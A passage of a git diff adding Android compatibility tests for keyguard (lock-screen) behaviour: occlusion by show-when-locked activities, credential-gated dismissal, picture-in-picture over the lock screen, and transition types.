+ @Test
+ public void testDismissKeyguard() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity("DismissKeyguardActivity");
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+ }
+
+ @Test
+ public void testDismissKeyguard_whileOccluded() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( SHOW_WHEN_LOCKED_ACTIVITY ).build());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ launchActivity("DismissKeyguardActivity");
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
+ }
+
+ @Test
+ public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( SHOW_WHEN_LOCKED_ACTIVITY ).build());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
+ enterAndConfirmLockCredential();
+
+ // Make sure we stay on Keyguard.
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ }
+
+ @Test
+ public void testDismissKeyguardActivity_method() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity("DismissKeyguardMethodActivity");
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardMethodActivity").build());
+ mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceededInLogcat(logSeparator);
+ }
+
+ @Test
+ public void testDismissKeyguardActivity_method_cancelled() throws Exception {
+ if (!isHandheld()) {
+ return;
+ }
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity("DismissKeyguardMethodActivity");
+ pressBackButton();
+ assertOnDismissCancelledInLogcat(logSeparator);
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("DismissKeyguardMethodActivity", false);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ unlockDeviceWithCredential();
+ }
+
+ @Test
+ public void testEnterPipOverKeyguard() throws Exception {
+ if (!isHandheld() || !supportsPip()) {
+ return;
+ }
+
+ // Go to the keyguard
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+
+ // Enter PiP on an activity on top of the keyguard, and ensure that it prompts the user for
+ // their credentials and does not enter picture-in-picture yet
+ launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+ // Enter the credentials and ensure that the activity actually entered picture-in-picture
+ enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ }
+
+ @Test
+ public void testShowWhenLockedActivityAndPipActivity() throws Exception {
+ if (!isHandheld() || !supportsPip()) {
+ return;
+ }
+
+ launchActivity(PIP_ACTIVITY);
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(SHOW_WHEN_LOCKED_ACTIVITY).build());
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+ }
+
+ @Test
+ public void testShowWhenLockedPipActivity() throws Exception {
+ if (!isHandheld() || !supportsPip()) {
+ return;
+ }
+
+ launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+ executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+ mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+ ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(PIP_ACTIVITY, false);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
new file mode 100644
index 0000000..9a63396
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTestBase.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class KeyguardTestBase extends ActivityManagerTestBase {
+
+ protected void assertOnDismissSucceededInLogcat(String logSeparator) throws Exception {
+ assertInLogcat("KeyguardDismissLoggerCallback", "onDismissSucceeded", logSeparator);
+ }
+
+ protected void assertOnDismissCancelledInLogcat(String logSeparator) throws Exception {
+ assertInLogcat("KeyguardDismissLoggerCallback", "onDismissCancelled", logSeparator);
+ }
+
+ protected void assertOnDismissErrorInLogcat(String logSeparator) throws Exception {
+ assertInLogcat("KeyguardDismissLoggerCallback", "onDismissError", logSeparator);
+ }
+
+ private void assertInLogcat(String activityName, String entry, String logSeparator)
+ throws Exception {
+ final Pattern pattern = Pattern.compile("(.+)" + entry);
+ int tries = 0;
+ while (tries < 5) {
+ final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+ log("Looking at logcat");
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ log(line);
+ Matcher matcher = pattern.matcher(line);
+ if (matcher.matches()) {
+ return;
+ }
+ }
+ tries++;
+ Thread.sleep(500);
+ }
+ fail("Not in logcat: " + entry);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
new file mode 100644
index 0000000..092eae0
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTests.java
@@ -0,0 +1,410 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardTests
+ */
+public class KeyguardTests extends KeyguardTestBase {
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // Set screen lock (swipe)
+ setLockDisabled(false);
+ }
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+
+ tearDownLockCredentials();
+ }
+
+ @Test
+ public void testKeyguardHidesActivity() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("TestActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "TestActivity").build());
+ mAmWmState.assertVisibility("TestActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility("TestActivity", false);
+ unlockDevice();
+ }
+
+ @Test
+ public void testShowWhenLockedActivity() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("ShowWhenLockedActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity").build());
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ /**
+ * Tests whether dialogs from SHOW_WHEN_LOCKED activities are also visible if Keyguard is
+ * showing.
+ */
+ @Test
+ public void testShowWhenLockedActivity_withDialog() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("ShowWhenLockedWithDialogActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedWithDialogActivity").build());
+ mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("ShowWhenLockedWithDialogActivity", true);
+ assertTrue(mAmWmState.getWmState().allWindowsVisible(
+ getWindowName("ShowWhenLockedWithDialogActivity")));
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ /**
+ * Tests whether multiple SHOW_WHEN_LOCKED activities are shown if the topmost is translucent.
+ */
+ @Test
+ public void testMultipleShowWhenLockedActivities() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("ShowWhenLockedActivity");
+ launchActivity("ShowWhenLockedTranslucentActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedActivity").build(),
+ new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ /**
+ * If we have a translucent SHOW_WHEN_LOCKED_ACTIVITY, the wallpaper should also be showing.
+ */
+ @Test
+ public void testTranslucentShowWhenLockedActivity() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("ShowWhenLockedTranslucentActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
+ mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+ assertWallpaperShowing();
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ /**
+ * If we have a translucent SHOW_WHEN_LOCKED activity, the activity behind should not be shown.
+ */
+ @Test
+ public void testTranslucentDoesntRevealBehind() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("TestActivity");
+ launchActivity("ShowWhenLockedTranslucentActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("TestActivity").build(),
+ new WaitForValidActivityState.Builder("ShowWhenLockedTranslucentActivity").build());
+ mAmWmState.assertVisibility("TestActivity", true);
+ mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("ShowWhenLockedTranslucentActivity", true);
+ mAmWmState.assertVisibility("TestActivity", false);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ @Test
+ public void testDialogShowWhenLockedActivity() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("ShowWhenLockedDialogActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedDialogActivity").build());
+ mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState();
+ mAmWmState.assertVisibility("ShowWhenLockedDialogActivity", true);
+ assertWallpaperShowing();
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ /**
+ * Test that showWhenLocked activity is fullscreen when shown over keyguard
+ */
+ @Test
+ public void testShowWhenLockedActivityWhileSplit() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset() || !supportsSplitScreenMultiWindow()) {
+ return;
+ }
+ launchActivityInDockStack(LAUNCHING_ACTIVITY);
+ launchActivityToSide(true, false, "ShowWhenLockedActivity");
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ gotoKeyguard();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity" ).build());
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertDoesNotContainStack("Activity must be full screen.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ pressHomeButton();
+ unlockDevice();
+ }
+
+ /**
+ * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
+ */
+ @Test
+ public void testDismissKeyguardActivity() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity("DismissKeyguardActivity");
+ mAmWmState.waitForKeyguardShowingAndOccluded();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardActivity").build());
+ mAmWmState.assertVisibility("DismissKeyguardActivity", true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ }
+
+ @Test
+ public void testDismissKeyguardActivity_method() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity("DismissKeyguardMethodActivity");
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "DismissKeyguardMethodActivity").build());
+ mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceededInLogcat(logSeparator);
+ }
+
+ @Test
+ public void testDismissKeyguardActivity_method_notTop() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity("BroadcastReceiverActivity");
+ launchActivity("TestActivity");
+ executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguardMethod true");
+ assertOnDismissErrorInLogcat(logSeparator);
+ }
+
+ @Test
+ public void testDismissKeyguardActivity_method_turnScreenOn() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ final String logSeparator = clearLogcat();
+ sleepDevice();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity("TurnScreenOnDismissKeyguardActivity");
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "TurnScreenOnDismissKeyguardActivity").build());
+ mAmWmState.assertVisibility("TurnScreenOnDismissKeyguardActivity", true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceededInLogcat(logSeparator);
+ }
+
+ @Test
+ public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity("ShowWhenLockedActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedActivity" ).build());
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ }
+
+ @Test
+ public void testKeyguardLock() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity("KeyguardLockActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "KeyguardLockActivity" ).build());
+ mAmWmState.assertVisibility("KeyguardLockActivity", true);
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ }
+
+ @Test
+ public void testUnoccludeRotationChange() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ executeShellCommand(getAmStartCmd("ShowWhenLockedActivity"));
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedActivity").build());
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", true);
+ setDeviceRotation(1);
+ pressHomeButton();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.waitForDisplayUnfrozen();
+ mAmWmState.assertSanity();
+ mAmWmState.assertHomeActivityVisible(false);
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility("ShowWhenLockedActivity", false);
+ }
+
+ private void assertWallpaperShowing() {
+ WindowState wallpaper =
+ mAmWmState.getWmState().findFirstWindowWithType(TYPE_WALLPAPER);
+ assertNotNull(wallpaper);
+ assertTrue(wallpaper.isShown());
+ }
+
+ @Test
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+ sleepDevice();
+
+ final String logSeparator = clearLogcat();
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(activityName);
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertVisibility(activityName, true);
+ assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertOnDismissSucceededInLogcat(logSeparator);
+ assertTrue(isDisplayOn());
+ }
+
+ @Test
+ public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ final String activityName = "TurnScreenOnAttrDismissKeyguardActivity";
+
+ setLockCredential();
+ sleepDevice();
+
+ mAmWmState.computeState();
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ launchActivity(activityName);
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertVisibility(activityName, false);
+ assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
+ assertTrue(isDisplayOn());
+ }
+
+ @Test
+ public void testScreenOffWhileOccludedStopsActivity() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ final String logSeparator = clearLogcat();
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity("ShowWhenLockedAttrActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder( "ShowWhenLockedAttrActivity" ).build());
+ mAmWmState.assertVisibility("ShowWhenLockedAttrActivity", true);
+ mAmWmState.assertKeyguardShowingAndOccluded();
+ sleepDevice();
+ assertSingleLaunchAndStop("ShowWhenLockedAttrActivity", logSeparator);
+ }
+
+ @Test
+ public void testScreenOffCausesSingleStop() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ final String logSeparator = clearLogcat();
+ launchActivity("TestActivity");
+ mAmWmState.assertVisibility("TestActivity", true);
+ sleepDevice();
+ assertSingleLaunchAndStop("TestActivity", logSeparator);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
new file mode 100644
index 0000000..3520f52
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardTransitionTests.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_OCCLUDE;
+import static android.server.am.WindowManagerState.TRANSIT_KEYGUARD_UNOCCLUDE;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.KeyguardTransitionTests
+ */
+public class KeyguardTransitionTests extends ActivityManagerTestBase {
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // Set screen lock (swipe)
+ setLockDisabled(false);
+ }
+
+ @Test
+ public void testUnlock() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("TestActivity");
+ gotoKeyguard();
+ unlockDevice();
+ mAmWmState.computeState(new WaitForValidActivityState("TestActivity"));
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
+ mAmWmState.getWmState().getLastTransition());
+ }
+ @Test
+ public void testUnlockWallpaper() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("WallpaperActivity");
+ gotoKeyguard();
+ unlockDevice();
+ mAmWmState.computeState(new WaitForValidActivityState("WallpaperActivity"));
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER,
+ mAmWmState.getWmState().getLastTransition());
+ }
+ @Test
+ public void testOcclude() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ gotoKeyguard();
+ launchActivity("ShowWhenLockedActivity");
+ mAmWmState.computeState(new WaitForValidActivityState("ShowWhenLockedActivity"));
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ }
+ @Test
+ public void testUnocclude() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ gotoKeyguard();
+ launchActivity("ShowWhenLockedActivity");
+ launchActivity("TestActivity");
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+ mAmWmState.computeState();
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_UNOCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ }
+ @Test
+ public void testNewActivityDuringOccluded() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+ launchActivity("ShowWhenLockedActivity");
+ gotoKeyguard();
+ launchActivity("ShowWhenLockedWithDialogActivity");
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("ShowWhenLockedWithDialogActivity").build());
+ assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
+ mAmWmState.getWmState().getLastTransition());
+ }
+ @Test
+ public void testOccludeManifestAttr() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ String activityName = "ShowWhenLockedAttrActivity";
+
+ gotoKeyguard();
+ final String logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ assertSingleLaunch(activityName, logSeparator);
+ }
+ @Test
+ public void testOccludeAttrRemove() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ String activityName = "ShowWhenLockedAttrRemoveAttrActivity";
+
+ gotoKeyguard();
+ String logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+ assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_OCCLUDE,
+ mAmWmState.getWmState().getLastTransition());
+ assertSingleLaunch(activityName, logSeparator);
+
+ gotoKeyguard();
+ logSeparator = clearLogcat();
+ launchActivity(activityName);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+ assertSingleStartAndStop(activityName, logSeparator);
+ }
+ @Test
+ public void testNewActivityDuringOccludedWithAttr() throws Exception {
+ if (!isHandheld() || isUiModeLockedToVrHeadset()) {
+ return;
+ }
+
+ String activityName1 = "ShowWhenLockedAttrActivity";
+ String activityName2 = "ShowWhenLockedAttrWithDialogActivity";
+
+ launchActivity(activityName1);
+ gotoKeyguard();
+ launchActivity(activityName2);
